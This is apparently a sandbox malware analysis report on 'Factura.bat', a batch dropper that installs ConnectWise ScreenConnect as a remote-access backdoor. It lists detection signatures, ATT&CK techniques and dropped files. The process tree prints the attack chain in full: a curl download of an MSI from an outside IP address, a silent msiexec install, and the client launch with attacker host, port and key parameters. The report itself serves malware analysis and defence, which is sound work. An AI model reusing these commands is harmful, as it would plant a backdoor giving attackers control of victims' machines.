Overview

overview

8

Static

static

1

Factura.bat

windows10-2004-x64

8

Factura.bat

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    148s
  • max time network
    144s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/10/2026, 00:27

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Factura.bat
  • Size 34KB
  • Sample261023-ar928sca43
  • SHA256 42ee5a8dd8aa514dc2a4199f519fd77df0ae3acb6bf5d91d75cc80c1d310e11b
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
backdoordefense_evasiondiscoveryexecutionpersistenceprivilege_escalationratrevoked_codesign

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

    revoked_codesign
  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

    backdoorrat
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

    persistenceprivilege_escalation
  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 26 IoCs
  • Launches sc.exe 1 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 3 IoCs
    defense_evasion
  • Kills process with taskkill 3 IoCs
    defense_evasion
  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • cURL User-Agent 1 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Factura.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:856
    • C:\Windows\system32\net.exe
      net session
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5892
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 session
        3⤵
          PID:4248
      • C:\Windows\system32\where.exe
        where msiexec
        2⤵
          PID:5400
        • C:\Windows\system32\where.exe
          where powershell
          2⤵
            PID:5376
          • C:\Windows\system32\where.exe
            where curl
            2⤵
              PID:2312
            • C:\Windows\system32\sc.exe
              sc query "msiserver"
              2⤵
              • Launches sc.exe
              PID:3284
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /S /D /c" echo "C:\Users\Admin\AppData\Local\Temp\" "
              2⤵
                PID:4108
              • C:\Windows\system32\find.exe
                find /i "\\"
                2⤵
                  PID:5172
                • C:\Windows\system32\where.exe
                  where curl
                  2⤵
                    PID:2856
                  • C:\Windows\system32\curl.exe
                    curl -s -L -o "C:\Users\Admin\AppData\Local\Temp\ScreenConnect_22221_02.91\ScreenConnect.ClientSetup.msi" "http://172.245.244.86:8040/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest" --connect-timeout 120 --max-time 900 --retry 5 --retry-delay 10 --retry-max-time 600 --show-error
                    2⤵
                      PID:4356
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell -Command "$ErrorActionPreference='SilentlyContinue'; try { $msi = New-Object -ComObject WindowsInstaller.Installer; $db = $msi.OpenDatabase('C:\Users\Admin\AppData\Local\Temp\ScreenConnect_22221_02.91\ScreenConnect.ClientSetup.msi', 0); exit 0 } catch { exit 1 }"
                      2⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4320
                    • C:\Windows\system32\taskkill.exe
                      taskkill /F /IM ScreenConnect.ClientService.exe
                      2⤵
                      • Kills process with taskkill
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4740
                    • C:\Windows\system32\taskkill.exe
                      taskkill /F /IM ScreenConnect.WindowsClient.exe
                      2⤵
                      • Kills process with taskkill
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4512
                    • C:\Windows\system32\taskkill.exe
                      taskkill /F /IM ScreenConnect.Client.exe
                      2⤵
                      • Kills process with taskkill
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3808
                    • C:\Windows\system32\timeout.exe
                      timeout /t 3 /nobreak
                      2⤵
                      • Delays execution with timeout.exe
                      PID:1204
                    • C:\Windows\system32\msiexec.exe
                      msiexec /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect_22221_02.91\ScreenConnect.ClientSetup.msi" /quiet /qn /norestart ALLUSERS=1 REBOOT=ReallySuppress /l*v "C:\Users\Admin\AppData\Local\Temp\ScreenConnect_22221_02.91\install_log.txt"
                      2⤵
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of SetWindowsHookEx
                      PID:1524
                    • C:\Windows\system32\timeout.exe
                      timeout /t 30 /nobreak
                      2⤵
                      • Delays execution with timeout.exe
                      PID:2104
                    • C:\Windows\system32\timeout.exe
                      timeout /t 10 /nobreak
                      2⤵
                      • Delays execution with timeout.exe
                      PID:5324
                    • C:\Windows\system32\reg.exe
                      reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s /f "ScreenConnect"
                      2⤵
                        PID:6004
                      • C:\Windows\system32\reg.exe
                        reg query "HKLM\SOFTWARE\ScreenConnect"
                        2⤵
                          PID:4324
                      • C:\Windows\system32\msiexec.exe
                        C:\Windows\system32\msiexec.exe /V
                        1⤵
                        • Enumerates connected drives
                        • Boot or Logon Autostart Execution: Authentication Package
                        • Drops file in Program Files directory
                        • Drops file in Windows directory
                        • Modifies data under HKEY_USERS
                        • Modifies registry class
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of SetWindowsHookEx
                        • Suspicious use of WriteProcessMemory
                        PID:3920
                        • C:\Windows\syswow64\MsiExec.exe
                          C:\Windows\syswow64\MsiExec.exe -Embedding 46CDCABAAEC8C358C9A84A533F87B6E2
                          2⤵
                          • Loads dropped DLL
                          • System Location Discovery: System Language Discovery
                          • Suspicious use of SetWindowsHookEx
                          • Suspicious use of WriteProcessMemory
                          PID:4388
                          • C:\Windows\SysWOW64\rundll32.exe
                            rundll32.exe "C:\Windows\Installer\MSI868B.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240748406 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
                            3⤵
                            • Loads dropped DLL
                            • Drops file in Windows directory
                            • System Location Discovery: System Language Discovery
                            PID:3472
                        • C:\Windows\syswow64\MsiExec.exe
                          C:\Windows\syswow64\MsiExec.exe -Embedding 4D11E22780CCC69B85B499F2F0626D35 E Global\MSI0000
                          2⤵
                          • Loads dropped DLL
                          • Drops file in Windows directory
                          • System Location Discovery: System Language Discovery
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of SetWindowsHookEx
                          PID:5052
                      • C:\Program Files (x86)\ScreenConnect Client (ad768f9494c188dd)\ScreenConnect.ClientService.exe
                        "C:\Program Files (x86)\ScreenConnect Client (ad768f9494c188dd)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=172.245.244.86&p=8041&s=9f13c8ab-0937-4e7f-94c9-d33ed126ad24&k=BgIAAACkAABSU0ExAAgAAAEAAQClFTFemQ%2fTapDGFgRYoo9t%2bbGgfp7Y3eP8tULMfN3zBI9PXFAEQ4%2f8Go5MXRM4AT0k9Ae7R8g4kfANolgkZOH59vOFDh98uoYq2Q%2f%2bDk1f1U7cTIQOMymnftHm7hdpKnhqg0aZ%2bvHV16K56tmwyyRfedt80D2kmZwDINRcFc7jrPF31WlJq3e1fRlmToLcCwcmOd2x3aBTTY6KNED%2f5EgFLrZsb8hqwVnjJNsjfXMhoNlLboYj7rziCljYU2564l8jalgW4mbMVE2s0JIGPegytLoKA9GhnJrvkRWd%2fl75bYwQJ9cgL%2fpeqrzZJf2QSZ7q5hGplm25eyJ6Shyow7nA"
                        1⤵
                        • Sets service image path in registry
                        • Executes dropped EXE
                        • Loads dropped DLL
                        • Drops file in System32 directory
                        • Reads the TCP/IP host and domain name from the registry
                        • System Location Discovery: System Language Discovery
                        • Modifies data under HKEY_USERS
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of WriteProcessMemory
                        PID:2468
                        • C:\Program Files (x86)\ScreenConnect Client (ad768f9494c188dd)\ScreenConnect.WindowsClient.exe
                          "C:\Program Files (x86)\ScreenConnect Client (ad768f9494c188dd)\ScreenConnect.WindowsClient.exe" "RunRole" "cc38b8da-8ce5-4473-b07a-cabe13e2ca1e" "User"
                          2⤵
                          • Executes dropped EXE
                          • Suspicious use of FindShellTrayWindow
                          • Suspicious use of SendNotifyMessage
                          PID:5248
                        • C:\Program Files (x86)\ScreenConnect Client (ad768f9494c188dd)\ScreenConnect.WindowsClient.exe
                          "C:\Program Files (x86)\ScreenConnect Client (ad768f9494c188dd)\ScreenConnect.WindowsClient.exe" "RunRole" "799b33b5-cc77-4b37-a975-c8d0c86838db" "System"
                          2⤵
                          • Executes dropped EXE
                          • Reads the TCP/IP host and domain name from the registry
                          • Checks processor information in registry
                          • Modifies data under HKEY_USERS
                          PID:5856

                      Network

                            MITRE ATT&CK Enterprise v16

                            Reconnaissance

                            Resource Development

                            Initial Access

                            Execution

                            Command and Scripting Interpreter

                            2
                            T1059

                            PowerShell

                            1
                            T1059.001

                            Windows Command Shell

                            1
                            T1059.003

                            Persistence

                            Boot or Logon Autostart Execution

                            2
                            T1547

                            Authentication Package

                            1
                            T1547.002

                            Registry Run Keys / Startup Folder

                            1
                            T1547.001

                            Create or Modify System Process

                            1
                            T1543

                            Windows Service

                            1
                            T1543.003

                            Event Triggered Execution

                            1
                            T1546

                            Component Object Model Hijacking

                            1
                            T1546.015

                            Privilege Escalation

                            Boot or Logon Autostart Execution

                            2
                            T1547

                            Authentication Package

                            1
                            T1547.002

                            Registry Run Keys / Startup Folder

                            1
                            T1547.001

                            Create or Modify System Process

                            1
                            T1543

                            Windows Service

                            1
                            T1543.003

                            Event Triggered Execution

                            1
                            T1546

                            Component Object Model Hijacking

                            1
                            T1546.015

                            Defense Evasion

                            Modify Registry

                            1
                            T1112

                            Credential Access

                            Discovery

                            Peripheral Device Discovery

                            1
                            T1120

                            Query Registry

                            2
                            T1012

                            System Information Discovery

                            2
                            T1082

                            System Location Discovery

                            1
                            T1614

                            System Language Discovery

                            1
                            T1614.001

                            System Network Configuration Discovery

                            1
                            T1016

                            Lateral Movement

                            Collection

                            Command and Control

                            Exfiltration

                            Impact

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            e59849a.rbs
                            • Path C:\Config.Msi\e59849a.rbs
                            • Size 214KB
                            • SHA256 a86c4fe17ff4251fd9d59058e79f211daf19e76505386bf49ee082d9bc55e852
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            Client.Override.en-US.resources
                            • Path C:\Program Files (x86)\ScreenConnect Client (ad768f9494c188dd)\Client.Override.en-US.resources
                            • Size 694B
                            • SHA256 36394e7375f94d8060741d9b4f75a08e15772030e5f12157f2ff6b24d489468c
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            Client.Override.resources
                            • Path C:\Program Files (x86)\ScreenConnect Client (ad768f9494c188dd)\Client.Override.resources
                            • Size 725B
                            • SHA256 56d391ba2600188fbfb882f89c71370b406e949f224afcdac994ce5edb3a57ba
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            Client.en-US.resources
                            • Path C:\Program Files (x86)\ScreenConnect Client (ad768f9494c188dd)\Client.en-US.resources
                            • Size 48KB
                            • SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            Client.resources
                            • Path C:\Program Files (x86)\ScreenConnect Client (ad768f9494c188dd)\Client.resources
                            • Size 26KB
                            • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            ScreenConnect.Client.dll
                            • Path C:\Program Files (x86)\ScreenConnect Client (ad768f9494c188dd)\ScreenConnect.Client.dll
                            • Size 192KB
                            • SHA256 ea0a545f40ff491d02172228c1a39ae68344c4340a6094486a47be746952e64f
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            ScreenConnect.ClientService.dll
                            • Path C:\Program Files (x86)\ScreenConnect Client (ad768f9494c188dd)\ScreenConnect.ClientService.dll
                            • Size 66KB
                            • SHA256 fd5818dcdf5fc76316b8f7f96630ec66bb1cb5b5a8127cf300e5842f2c74ffca
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            ScreenConnect.ClientService.exe
                            • Path C:\Program Files (x86)\ScreenConnect Client (ad768f9494c188dd)\ScreenConnect.ClientService.exe
                            • Size 93KB
                            • SHA256 f1b5c000794f046259121c63ed37f9eff0cfe1258588eca6fd85e16d3922767e
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            ScreenConnect.WindowsAuthenticationPackage.dll
                            • Path C:\Program Files (x86)\ScreenConnect Client (ad768f9494c188dd)\ScreenConnect.WindowsAuthenticationPackage.dll
                            • Size 254KB
                            • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            ScreenConnect.WindowsClient.exe
                            • Path C:\Program Files (x86)\ScreenConnect Client (ad768f9494c188dd)\ScreenConnect.WindowsClient.exe
                            • Size 588KB
                            • SHA256 600cf10e27311e60d32722654ef184c031a77b5ae1f8abae8891732710afee31
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            ScreenConnect.WindowsClient.exe.config
                            • Path C:\Program Files (x86)\ScreenConnect Client (ad768f9494c188dd)\ScreenConnect.WindowsClient.exe.config
                            • Size 266B
                            • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            ScreenConnect.WindowsCredentialProvider.dll
                            • Path C:\Program Files (x86)\ScreenConnect Client (ad768f9494c188dd)\ScreenConnect.WindowsCredentialProvider.dll
                            • Size 822KB
                            • SHA256 7a80e8f654b9ddb15dda59ac404d83dbaf4f6eafafa7ecbefc55506279de553d
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            app.config
                            • Path C:\Program Files (x86)\ScreenConnect Client (ad768f9494c188dd)\app.config
                            • Size 1KB
                            • SHA256 92aa0b705f755cecf70dd713990db5461df6b7a7c650c77c9a79f43a2d92a6f4
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            system.config
                            • Path C:\Program Files (x86)\ScreenConnect Client (ad768f9494c188dd)\system.config
                            • Size 938B
                            • SHA256 c932ee26920fdaf335e62464e5f99eba92642b424626e2a9f62ce885b4b6c492
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            ScreenConnect.ClientSetup.msi
                            • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect_22221_02.91\ScreenConnect.ClientSetup.msi
                            • Size 12.7MB
                            • SHA256 a1faf22ed65386a9e40c5e6f8506fdd849c1d951b3eea3d467c2c2860b784219
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            install_log.txt
                            • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect_22221_02.91\install_log.txt
                            • Size 1KB
                            • SHA256 07baccba922d66a6b3aa0dcd2d93136edf2f7a28205bebedfe903cd8738c6061
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            __PSScriptPolicyTest_wtbpcjpe.2pc.ps1
                            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wtbpcjpe.2pc.ps1
                            • Size 60B
                            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            MSI868B.tmp
                            • Path C:\Windows\Installer\MSI868B.tmp
                            • Size 1.0MB
                            • SHA256 0918d8ab2237368a5cec8ce99261fb07a1a1beeda20464c0f91af0fe3349636b
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            Microsoft.Deployment.WindowsInstaller.dll
                            • Path C:\Windows\Installer\MSI868B.tmp-\Microsoft.Deployment.WindowsInstaller.dll
                            • Size 172KB
                            • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            ScreenConnect.Core.dll
                            • Path C:\Windows\Installer\MSI868B.tmp-\ScreenConnect.Core.dll
                            • Size 536KB
                            • SHA256 a2e9752de49d18e885cbd61b29905983d44b4bc0379a244bfabdaa3188c01f0a
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            ScreenConnect.InstallerActions.dll
                            • Path C:\Windows\Installer\MSI868B.tmp-\ScreenConnect.InstallerActions.dll
                            • Size 11KB
                            • SHA256 d727a640723d192aa3ece213a173381682041cb28d8bd71781524dbae3ddbf62
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            ScreenConnect.Windows.dll
                            • Path C:\Windows\Installer\MSI868B.tmp-\ScreenConnect.Windows.dll
                            • Size 1.6MB
                            • SHA256 84a09ed81afc5ff9a17f81763c044c82a2d9e26f852de528112153ee9ab041d0
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            MSI8EAC.tmp
                            • Path C:\Windows\Installer\MSI8EAC.tmp
                            • Size 202KB
                            • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            memory/2468-136-0x00000000046D0000-0x0000000004720000-memory.dmp
                            Download

                            memory/2468-145-0x0000000004910000-0x0000000004951000-memory.dmp
                            Download

                            memory/2468-147-0x0000000004BA0000-0x0000000004C72000-memory.dmp
                            Download

                            memory/2468-142-0x0000000004720000-0x0000000004756000-memory.dmp
                            Download

                            memory/2468-117-0x0000000004460000-0x0000000004478000-memory.dmp
                            Download

                            memory/2468-143-0x00000000049B0000-0x0000000004A42000-memory.dmp
                            Download

                            memory/3472-78-0x0000000006180000-0x000000000673A000-memory.dmp
                            Download

                            memory/3472-77-0x0000000005A10000-0x0000000005BBA000-memory.dmp
                            Download

                            memory/3472-73-0x00000000057D0000-0x000000000585C000-memory.dmp
                            Download

                            memory/3472-69-0x0000000002770000-0x000000000277A000-memory.dmp
                            Download

                            memory/3472-65-0x0000000005690000-0x00000000056BE000-memory.dmp
                            Download

                            memory/4320-35-0x000002280DDA0000-0x000002280DDC2000-memory.dmp
                            Download

                            memory/5248-164-0x00000000002B0000-0x0000000000346000-memory.dmp
                            Download

                            memory/5248-165-0x0000000000C30000-0x0000000000C66000-memory.dmp
                            Download

                            memory/5248-166-0x000000001B300000-0x000000001B38C000-memory.dmp
                            Download

                            memory/5248-167-0x000000001B540000-0x000000001B6EA000-memory.dmp
                            Download

                            memory/5248-168-0x000000001B880000-0x000000001BA08000-memory.dmp
                            Download

                            memory/5248-169-0x0000000000BD0000-0x0000000000BE8000-memory.dmp
                            Download

                            memory/5248-170-0x0000000000C70000-0x0000000000C88000-memory.dmp
                            Download

                            memory/5248-171-0x000000001AF20000-0x000000001AF61000-memory.dmp
                            Download